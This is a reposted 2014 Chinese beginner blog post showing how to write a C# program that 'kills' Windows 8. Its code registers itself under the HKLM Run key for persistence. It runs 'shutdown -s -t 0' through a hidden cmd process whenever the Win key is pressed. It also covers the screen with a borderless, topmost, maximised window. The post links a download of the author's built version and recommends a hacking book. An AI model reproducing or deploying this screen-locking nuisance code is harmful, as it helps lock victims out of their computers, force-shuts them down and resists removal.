码迷,mamicode.com
首页 > Windows程序 > 详细

C# 三个动作搞死WIN8【小白特别版本】

时间:2014-08-04 01:49:46      阅读:424      评论:0      收藏:0      [点我收藏+]

标签:style   http   os   io   文件   for   art   ar   

昨天弄我是小白我怕谁第一期的时候无意间发现win8的一个很明显的特征——按win键会进入一种便利模式(单击程序直接进)

嗯,这个很好,很方便,但。。。

众所周知,系统那些按键键让小黑们很头疼的呢?win键无疑前三(ctrl+alt+del alt+F4 等等。。。) 
如果不通过一些比如用钩子之类的特殊处理就会很蛋疼,而win8把win键用途换了,这就是突破口! 

 三个动作:
1. 开机启动(为了让软件能够持久的快乐的生活)

2.屏蔽任务管理器(不让你结束我,最好的防守就是进攻) 

3.填充置顶(无边框,顶端化)

常识:
只要学过编程的人,都可以搞爆电脑,比如一个死循环不断的执行一件事情,一会内存就爆了,这个方法我就不说了,太没技术含量了


详细分析:

{开机启动}
先分析一下如何加启动项吧(我是小白我怕谁的第三期也会说的) 把当前exe所在的路径写到注册表中,下次启动就会运行

     string KJLJ = Application.ExecutablePath;
 
            if (!System.IO.File.Exists(KJLJ))//判断指定文件是否存在
 
                return;
 
            string newKJLJ = KJLJ.Substring(KJLJ.LastIndexOf("\\") + 1);
 
            RegistryKey Rkey =
 
                Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
 
            if (Rkey == null)
 
                Rkey = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
 
            Rkey.SetValue(newKJLJ, KJLJ);

{屏蔽任务管理器}

 一般人都是用钩子的,那个太烦,而且新手不怎么看得懂,我教你个简单的方法吧
用keyDown事件,当按下ctrl 或者 alt 的时候执行 ——关机(我们是小白,斗不过你,我躲呗)

private void Form1_PreviewKeyDown(object sender, PreviewKeyDownEventArgs e)
       {
            if (e.Modifiers == Keys.LWin || e.Modifiers == Keys.RWin)
           {
               this.DNT(); //关机事件

           } 
        }    

 [DllImport("user32.dll", EntryPoint = "ExitWindowsEx", CharSet = CharSet.Ansi)]
       private static extern int ExitWindowsEx(int uFlags, int dwReserved);
       public void DNT()//关机
       {
           System.Diagnostics.Process myProcess = new System.Diagnostics.Process();
           myProcess.StartInfo.FileName = "cmd.exe";
           myProcess.StartInfo.UseShellExecute = false;
           myProcess.StartInfo.RedirectStandardInput = true;
           myProcess.StartInfo.RedirectStandardOutput = true;
           myProcess.StartInfo.RedirectStandardError = true;
           myProcess.StartInfo.CreateNoWindow = true;
           myProcess.Start();
           myProcess.StandardInput.WriteLine("shutdown -s -t 0"); //-r重启-s关机

       } 

{填充置顶} 

            窗体加载的时候:
            this.FormBorderStyle = FormBorderStyle.None;
            this.WindowState = FormWindowState.Maximized;

            this.TopMost = true; 

先给个我以前编的一个测试版吧,我先睡觉了,累了,明天再弄
http://pan.baidu.com/s/1bn4Bd8r

本期推荐:入侵的艺术:http://pan.baidu.com/s/1o6HMkrg     入侵的艺术和欺骗的艺术被称为黑客经典书籍

C# 三个动作搞死WIN8【小白特别版本】,布布扣,bubuko.com

C# 三个动作搞死WIN8【小白特别版本】

标签:style   http   os   io   文件   for   art   ar   

原文地址:http://www.cnblogs.com/dunitian/p/3889057.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!